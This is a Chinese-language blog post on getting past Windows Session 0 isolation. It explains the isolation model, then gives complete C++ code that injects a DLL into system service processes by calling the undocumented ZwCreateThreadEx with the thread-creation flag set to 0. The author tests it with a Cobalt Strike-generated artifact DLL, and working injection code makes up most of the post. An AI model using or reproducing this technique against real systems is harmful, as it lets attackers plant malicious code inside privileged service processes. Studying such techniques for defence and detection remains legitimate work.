遠程線程注入突破SESSION 0

遠程線程注入突破SESSION 0

SESSION 0 隔離

在Windows XP、Windows Server 2003,以及更老版本的Windows操作系統中,服務和應用程序使用相同的會話(Session)運行,而這個會話是由第一個登錄到控制檯的用戶啓動的。該會話就叫做Session 0,如下圖所示,在Windows Vista之前,Session 0不僅包含服務,也包含標準用戶應用程序。

將服務和用戶應用程序一起在Session 0中運行會導致安全風險,因爲服務會使用提升後的權限運行,而用戶應用程序使用用戶特權(大部分都是非管理員用戶)運行,這會使得惡意軟件以某個服務爲攻擊目標,通過“劫持”該服務,達到提升自己權限級別的目的。

從Windows Vista開始,只有服務可以託管到Session 0中,用戶應用程序和服務之間會被隔離,並需要運行在用戶登錄到系統時創建的後續會話中。例如第一個登錄的用戶創建 Session 1,第二個登錄的用戶創建Session 2,以此類推,如下圖所示。

突破SESSION 0

ZwCreateThreadEx函數可以突破SESSION 0 隔離,將DLL注入到SESSION 0 隔離的系統服務進程中。CreateRemoteThread底層實際上也是通過ZwCreateThreadEx函數實現線程創建的。CreateRemoteThread注入系統進程會失敗的原因是因爲調用ZwCreateThreadEx創建遠程線程時,第七個參數CreateThreadFlags爲1。

使用CreateRemoteThread注入失敗DLL失敗的關鍵在第七個參數CreateThreadFlags, 他會導致線程創建完成後一直掛起無法恢復進程運行,導致注入失敗。而想要註冊成功,把該參數的值改爲0即可。

ZwCreateThreadEx

ZwCreateThreadEx在 ntdll.dll 中並沒有聲明,所以我們需要使用 GetProcAddress 從 ntdll.dll 中獲取該函數的導出地址。
我們需要注意的是64位和32位中,函數定義還不一樣

64 位下,ZwCreateThreadEx 函數聲明爲:

DWORD WINAPI ZwCreateThreadEx(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown);

32 位下,ZwCreateThreadEx 函數聲明爲:

DWORD WINAPI ZwCreateThreadEx(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown);

編碼實現

#include <Windows.h>
#include <stdio.h>
#include <iostream>

void ShowError(const char* pszText)
{
	char szErr[MAX_PATH] = { 0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
	::MessageBox(NULL, szErr, "ERROR", MB_OK);
}


// 使用 ZwCreateThreadEx 實現遠線程注入
BOOL ZwCreateThreadExInjectDll(DWORD PID,const char* pszDllFileName)
{
	HANDLE hProcess = NULL;
	SIZE_T dwSize = 0;
	LPVOID pDllAddr = NULL;
	FARPROC pFuncProcAddr = NULL;
	HANDLE hRemoteThread = NULL;
	DWORD dwStatus = 0;
	//打開注入進程,獲取進程句柄
	hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
	if (hProcess == NULL) {
		printf("OpenProcess Error");
		return -1 ;
	}
	//在注入的進程申請內存地址

	dwSize = 1 + ::lstrlen(pszDllFileName);
	pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
	if (NULL == pDllAddr)
	{
		ShowError("VirtualAllocEx");
		return FALSE;
	}
	//寫入內存地址
	if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
	{
		ShowError("WriteProcessMemory");
		return FALSE;
	}
	//加載ntdll
	HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
	if (NULL == hNtdllDll)
	{
		ShowError("LoadLirbary");
		return FALSE;
	}
	// 獲取LoadLibraryA函數地址
	pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
	if (NULL == pFuncProcAddr)
	{
		ShowError("GetProcAddress_LoadLibraryA");
		return FALSE;
	}
	
#ifdef _WIN64
	typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
		PHANDLE ThreadHandle,
		ACCESS_MASK DesiredAccess,
		LPVOID ObjectAttributes,
		HANDLE ProcessHandle,
		LPTHREAD_START_ROUTINE lpStartAddress,
		LPVOID lpParameter,
		ULONG CreateThreadFlags,
		SIZE_T ZeroBits,
		SIZE_T StackSize,
		SIZE_T MaximumStackSize,
		LPVOID pUnkown);
#else
	typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
		PHANDLE ThreadHandle,
		ACCESS_MASK DesiredAccess,
		LPVOID ObjectAttributes,
		HANDLE ProcessHandle,
		LPTHREAD_START_ROUTINE lpStartAddress,
		LPVOID lpParameter,
		BOOL CreateSuspended,
		DWORD dwStackSize,
		DWORD dw1,
		DWORD dw2,
		LPVOID pUnkown);
#endif
	//獲取ZwCreateThreadEx函數地址
	typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
	if (NULL == ZwCreateThreadEx)
	{
		ShowError("GetProcAddress_ZwCreateThread");
		return FALSE;
	}
	// 使用 ZwCreateThreadEx 創建遠線程, 實現 DLL 注入
	dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
	if (NULL == hRemoteThread)
	{
		ShowError("ZwCreateThreadEx");
		return FALSE;
	}
	// 關閉句柄
	::CloseHandle(hProcess);
	::FreeLibrary(hNtdllDll);

	return TRUE;


}

int main(int argc, char* argv[])
{
#ifdef _WIN64
	BOOL bRet = ZwCreateThreadExInjectDll(8, "C:\\Users\\xx\\Desktop\\pwn\\artifact64.dll");
#else 
	BOOL bRet = ZwCreateThreadExInjectDll(atoi(argv[1]), argv[2]);
#endif
	if (FALSE == bRet)
	{
		std::cout << "Inject Dll Error.\n";
	}
	std::cout << "Inject Dll OK.\n";
	return 0;
}

在這如果想通過MessageBox判斷是否注入成功,那麼會大失所望。由於會話隔離,在系統程序中不能顯示程序窗體,也不能用常規方式來建立用戶進程。所以這裏使用CS生成的dll來判斷DLL是否注入成功。

前面用MessageBox來判斷踩坑了。

步驟總結

  1. 打開注入進程,獲取進程句柄
  2. 在注入的進程申請內存地址
  3. 寫入內存地址
  4. 加載ntdll,獲取LoadLibraryA函數地址
  5. 獲取ZwCreateThreadEx函數地址
  6. 使用 ZwCreateThreadEx 創建遠線程, 實現 DLL 注入

坑點總結

  1. 需要使用管理員權限

  2. 進程注入dll使用MessageBox,會顯示不了。因爲系統程序中不能顯示程序窗體

  3. ZwCreateThreadEx的函數定義在32和64位的不一樣

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章